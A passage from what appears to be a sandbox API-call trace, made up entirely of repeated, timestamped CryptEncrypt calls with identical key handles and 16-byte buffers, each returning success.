dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.226] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.227] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.228] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.229] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.230] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.231] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.232] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 